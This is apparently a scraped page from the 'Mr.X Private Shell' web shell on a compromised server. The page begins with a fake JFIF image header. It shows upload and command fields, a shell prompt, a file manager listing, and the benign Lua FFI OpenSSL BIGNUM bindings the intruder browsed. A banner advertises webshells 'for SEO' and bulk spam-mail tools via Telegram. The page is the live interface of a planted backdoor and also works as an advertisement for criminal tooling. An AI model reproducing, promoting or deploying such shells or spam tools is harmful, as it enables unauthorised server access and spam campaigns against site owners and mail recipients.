����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

antiaginglove@216.73.216.231: ~ $
local ffi = require "ffi"

require "resty.openssl.include.ossl_typ"

local BN_ULONG
if ffi.abi('64bit') then
  BN_ULONG = 'unsigned long long'
else -- 32bit
  BN_ULONG = 'unsigned int'
end

ffi.cdef(
[[
  BIGNUM *BN_new(void);
  void BN_free(BIGNUM *a);

  BN_CTX *BN_CTX_new(void);
  // void BN_CTX_init(BN_CTX *c);
  void BN_CTX_free(BN_CTX *c);

  BIGNUM *BN_dup(const BIGNUM *a);
  int BN_add_word(BIGNUM *a, ]] .. BN_ULONG ..[[ w);
  int BN_set_word(BIGNUM *a, ]] .. BN_ULONG ..[[ w);
  ]] .. BN_ULONG ..[[ BN_get_word(BIGNUM *a);
  int BN_num_bits(const BIGNUM *a);
  BIGNUM *BN_bin2bn(const unsigned char *s, int len, BIGNUM *ret);
  int BN_bn2binpad(const BIGNUM *a, unsigned char *to, int tolen);

  int BN_hex2bn(BIGNUM **a, const char *str);
  int BN_dec2bn(BIGNUM **a, const char *str);
  int BN_bn2bin(const BIGNUM *a, unsigned char *to);
  char *BN_bn2hex(const BIGNUM *a);
  char *BN_bn2dec(const BIGNUM *a);

  int BN_bn2mpi(const BIGNUM *a, unsigned char *to);
  BIGNUM *BN_mpi2bn(const unsigned char *s, int len, BIGNUM *ret);

  void BN_set_negative(BIGNUM *a, int n);
  int  BN_is_negative(const BIGNUM *a);

  int BN_add(BIGNUM *r, const BIGNUM *a, const BIGNUM *b);
  int BN_sub(BIGNUM *r, const BIGNUM *a, const BIGNUM *b);
  int BN_mul(BIGNUM *r, BIGNUM *a, BIGNUM *b, BN_CTX *ctx);
  int BN_sqr(BIGNUM *r, BIGNUM *a, BN_CTX *ctx);
  int BN_div(BIGNUM *dv, BIGNUM *rem, const BIGNUM *a, const BIGNUM *d,
             BN_CTX *ctx);
  int BN_mod_add(BIGNUM *ret, BIGNUM *a, BIGNUM *b, const BIGNUM *m,
    BN_CTX *ctx);
  int BN_mod_sub(BIGNUM *ret, BIGNUM *a, BIGNUM *b, const BIGNUM *m,
    BN_CTX *ctx);
  int BN_mod_mul(BIGNUM *ret, BIGNUM *a, BIGNUM *b, const BIGNUM *m,
    BN_CTX *ctx);
  int BN_mod_sqr(BIGNUM *ret, BIGNUM *a, const BIGNUM *m, BN_CTX *ctx);
  int BN_exp(BIGNUM *r, BIGNUM *a, BIGNUM *p, BN_CTX *ctx);
  int BN_mod_exp(BIGNUM *r, BIGNUM *a, const BIGNUM *p,
    const BIGNUM *m, BN_CTX *ctx);
  int BN_gcd(BIGNUM *r, BIGNUM *a, BIGNUM *b, BN_CTX *ctx);

  int BN_lshift(BIGNUM *r, const BIGNUM *a, int n);
  int BN_rshift(BIGNUM *r, BIGNUM *a, int n);

  int BN_cmp(BIGNUM *a, BIGNUM *b);
  int BN_ucmp(BIGNUM *a, BIGNUM *b);

  int BN_is_zero(BIGNUM *a);
  int BN_is_one(BIGNUM *a);
  int BN_is_word(BIGNUM *a, ]] .. BN_ULONG ..[[ w);
  int BN_is_odd(BIGNUM *a);

  int BN_is_prime_ex(const BIGNUM *p,int nchecks, BN_CTX *ctx, BN_GENCB *cb);
  int BN_generate_prime_ex(BIGNUM *ret,int bits,int safe, const BIGNUM *add,
                            const BIGNUM *rem, BN_GENCB *cb);
]]
)

Filemanager

Name Type Size Permission Actions
evp Folder 0755
x509 Folder 0755
asn1.lua File 1.69 KB 0644
bio.lua File 385 B 0644
bn.lua File 2.47 KB 0644
conf.lua File 214 B 0644
crypto.lua File 469 B 0644
dh.lua File 1.25 KB 0644
ec.lua File 1.95 KB 0644
ecdsa.lua File 497 B 0644
err.lua File 1.02 KB 0644
evp.lua File 5.21 KB 0644
hmac.lua File 502 B 0644
objects.lua File 637 B 0644
ossl_typ.lua File 2.78 KB 0644
param.lua File 3.45 KB 0644
pem.lua File 2.07 KB 0644
pkcs12.lua File 1.14 KB 0644
provider.lua File 1.02 KB 0644
rand.lua File 544 B 0644
rsa.lua File 876 B 0644
ssl.lua File 2.92 KB 0644
stack.lua File 1.1 KB 0644
x509_vfy.lua File 4.57 KB 0644
x509v3.lua File 3.59 KB 0644